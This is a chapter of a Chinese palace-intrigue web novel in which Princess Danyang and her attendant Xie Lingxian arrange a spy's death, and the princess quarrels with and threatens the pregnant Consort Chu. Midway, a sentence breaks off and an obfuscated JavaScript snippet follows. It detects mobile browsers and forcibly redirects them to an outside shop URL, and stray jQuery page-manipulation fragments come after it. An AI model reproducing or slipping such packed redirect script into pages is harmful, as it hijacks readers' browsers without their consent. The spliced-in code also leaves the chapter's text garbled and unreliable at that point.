24. 第二十四章

作品:《春色将阑

    西戎使者走后没多久,便是聒噪的夏日,夏蝉几乎嘶哑,似乎是和往年没什么两样,不过就是明王宫死了个小宫女。


    因为和尚仪局的内侍在池塘边私会时,发生争执,被内侍不慎推入水中,那内侍去救她,便一起溺死了。


    私会是真,争执是真。不过不是和内侍的争执,而是和一个麒麟卫的争执,推手自然是谢灵仙,那近卫年岁已大,可是家中妻子重病,买药钱却不够。


    谢灵仙便重金让他收了两条人命。


    我听了她的禀报,只说:“西戎那档子事,倒是让我瞧明白了,这人要真有能力,可不是让自己的本身烂在手里的。”


    这个小眼线,究竟是谁的呢,想必很快会有答案。


    我这不大不小的明王宫,其实甚少有客人来访,但其中有一个倒是令我印象深刻,那便是大着肚子的褚妃。


    我并不是很喜欢这个妃子。


    她身上有种被训练的很好的伪饰,举手投足之间的柔顺和情意都是从一个模子刻出来似的,可是就在极短的时间内,她就得了宠爱。


    在西戎使者走后没多久,她被医官诊出怀了龙胎。刚得知这消息的皇帝连着数日上朝时,都是春风和煦的样子,还将她的位份一进再进,直至妃位。


    靠兵戈坐稳位置的皇帝确实不同。那女子虽是褚氏主脉,可按寻常后宫礼制和皇帝一贯的喜好来说,她这孩子还没出来,如何能提拔如此之快,朝堂上虽然有些非议却也激不起半分浪花,便被皇帝三两句打发了。


    这眼线是褚妃的人,我倒不奇怪。


    她来明王宫的时间不是很好,我正在莲池和谢灵仙厮混,正在兴头,云女差人知会我一声,这女人来了,我本想凉她片刻,可是兴致早就不翼而飞了,只能和谢灵仙穿好衣服出来见客。


    她总是半低着头,坐在我殿中。


    我踏进明王宫,瞧见她那样子我就心中窝火,连假笑我都作不出半分,便懒散倚着,端着茶盏要喝不喝,用眼斜睨着与我年岁相差不大的褚氏。


    且等着她何时开口。


    褚妃捧着肚子,垂眸不语,半晌才道:“丹阳殿下觉得,妾怀的是龙子吗?”


    我先是冷笑一声,瞥了眼她暗暗期待的样子,又不禁笑得茶盏险些拿不住,谢灵仙眼疾手快地从我手里取下来放在桌案上。


    她一双杏眼,目不转睛看着谢灵仙。


    我忽然问她,又将她心神扯了回来,“你觉得呢?”


    褚妃低眉顺眼的,却想绕开话,我抬手打断了她,看了眼她的肚子,哼笑一声,道:“你也知道自己为什么受宠,本宫对你生出什么并无所谓,太子如今还好好的呢,本宫不过是多去了东宫几趟,瞧把你急的。”


    还龙子?


    非嫡非长,生十个男的又有什么用。


    “不,不是这样……不论是公主还是皇子,都该唤丹阳公主一声姐姐,妾比不得先皇后,可我们也算出自同宗,妾愿意让这孩子多亲近殿下……”


    “送你一句话,管好你自己。”


    我理了理宽袖,换了一边倚着。


    看她那慌张的惨淡脸色,我又不甚客气地冷笑一声。


    圣恩凉薄,春去秋来。


    当年母后容颜渐渐不如年轻时鲜妍,皇帝还不是另寻他处,母后尚在病中他便找了肖像她的女子加以恩宠。


    如今这宫里来来去去换了几波人,那些人的面容我早就记不得了。


    我已经忍着不对她破口大骂了,可是她还咬着不放:“你在这里生活的昼夜,你享用的荣华富贵,不都是陛下恩赐的?公主虽然喜爱女子,却还要对我恶语相向,可到了太极殿依旧温顺,殿下不觉得自己这样有些好笑?”


    “你到底想说什么?”


    “丹阳,你怎么不敢承认,你对陛下就是很崇拜。”她站起来,嘲讽道,“磨镜之好又怎样,还不是藏不住那点心思,到最后还是会找驸马,依妾身看,你才是既要男人爱你,又要装作清高。”


    我捂着肚子,笑出了声。


    又是个眼瞎的,我真是可怜她,看见了冰山一角,觉得找到了攻伐我的地方,就开始沾沾自喜。


    大约是心智有点问题吧。


    我用手指在脑门旁绕了绕:“你是不是脑子有病,觉得本宫喜欢女人,就必须对你慈眉善目,对陛下嫉恶如仇?”


    这禁宫里的人,别管女的男的,大多我都不是很喜欢,我更青睐女人,因为我们天生是同盟。但不代表,男人不能为我所用。


    对于单个人来说,真正的爱会跨越男女之别,但放眼天下,情爱或许会让人结合,可这东西太脆弱了,又有几人可称之为挚爱。


    权力这东西,虽然只做树倒猢狲散,但却最能将人牢牢地黏合在一起,既然要想强大,那就必须调动所有能用的力量,用权力驯服,成为能够帮助自己的存在。


    她反倒是急了,连忙道:“妾身可没这么说!”


    我拍手叫好,道:“本宫知道了,你没爹?”


    她被我气得浑身发抖,扶着桌案又坐了下来,她的侍女又是给她端茶,又是给她顺气,她喘匀了气,又亮出皮笑肉不笑的脸。


    我点点额头,反问褚妃:“你猜现在那个贵妃……不对,如今该叫张氏了,她下场如何?”


    褚妃渐有怒容,道:“妾与殿下无冤无仇,何苦这般讽刺妾!”


    无冤无仇?


    明知自己靠什么得宠,还要来我这边晃荡,我该说她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866892|191790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是不知好歹呢,还是别有用心呢。


    我反手叩了叩桌子,让侍女领她出去,褚妃却又拿起来妃子架势,点名让谢灵仙恭送她回宫,她嘴里这一声贴身侍女让人心中不爽。


    我抄起手边的茶水就砸向她的脑袋,却被她下意识抬手撑起来的宽袖挡了去,身上洇开一片水渍,殿中一片刺耳的尖叫声。


    跟着她的侍女直接乱了分寸,纷纷护在她身上,好像我要把她吃了似的。


    我冷冷瞧着褚妃,道:“本宫不是父皇嫔妃,少拿那套与本宫装腔作势,赶紧滚,还指望本宫亲自送你吗?”


    她捂着肚子要发作。


    我轻撩衣摆慢步到她跟前,俯身道:“再不滚,本宫有的是办法,让你这崽子生不下来。”


    褚妃脸色一滞,连冠冕堂皇的话都不说了,火急火燎便从明王宫离开了,仿佛我这屋子里头有什么恶鬼等着咬她。


    这女人真是气煞我也。


    我还是头一次遇到上我这耀武扬威来的,脸皮子比这宫墙还厚上三分。


    我心里头火气大的很,叉着腰在殿中踱步,有侍女垂着脑袋进来将碎瓷片清走,见我生气连大气都不敢喘,谢灵仙让她们全都下去待命,她们都如释重负地离开了。


    殿中总算是没了人。谢灵仙才到我身边,抚着我的脊背给我顺气,还笑我道:“殿下知道刚才您这样子,简直要吃人似的。”


    我只呵了一声,却也无话可说。


    “要是能吃,我第一个就吃了你。”


    顿时从紧张变得旖旎起来,谢灵仙却不解风情地说:“尚宫局有许多人都受过皇后的恩惠,平时就对我们明王宫的人多有观照,那边已有人替殿下盯着,倒是不用殿下多上心,褚妃野心不小,大有效仿先皇后的打算,殿下须得小心为上。”


    我握住她的手,狠狠亲了一口,谁能想到是这双纤柔的双手,竟然有天搅得六尚局天翻地覆?我要笼络人心,她替我去做,我要铲除异己,她还是义无反顾帮我。


    我悠然道:“张氏母族倒台时,我听到老东西们在朝堂上抖如筛糠,心中这滋味真是销魂得厉害,你说,这权势握在手里,怎么就这么让人上瘾?”


    “因为殿下生来就该坐在最高处。”


    “若是我手握大权,定要让天下人都知道,萧姒的明日有一半是你谢灵仙给撑起来的。


    谢灵仙抬手摸了摸我的眉眼,她的衣袖中有好闻的花香,她的手顺着我的鼻梁往下,勾过鼻尖,又去抚着的面颊,最后却摇了摇头。


    她说:“我所求非此。”


    我好想说,那你便求我吧,求我再多爱你一点,可是实际上恰恰相反,我贪图的是她将全部的情爱留给我,再也不会分给别人一星半点。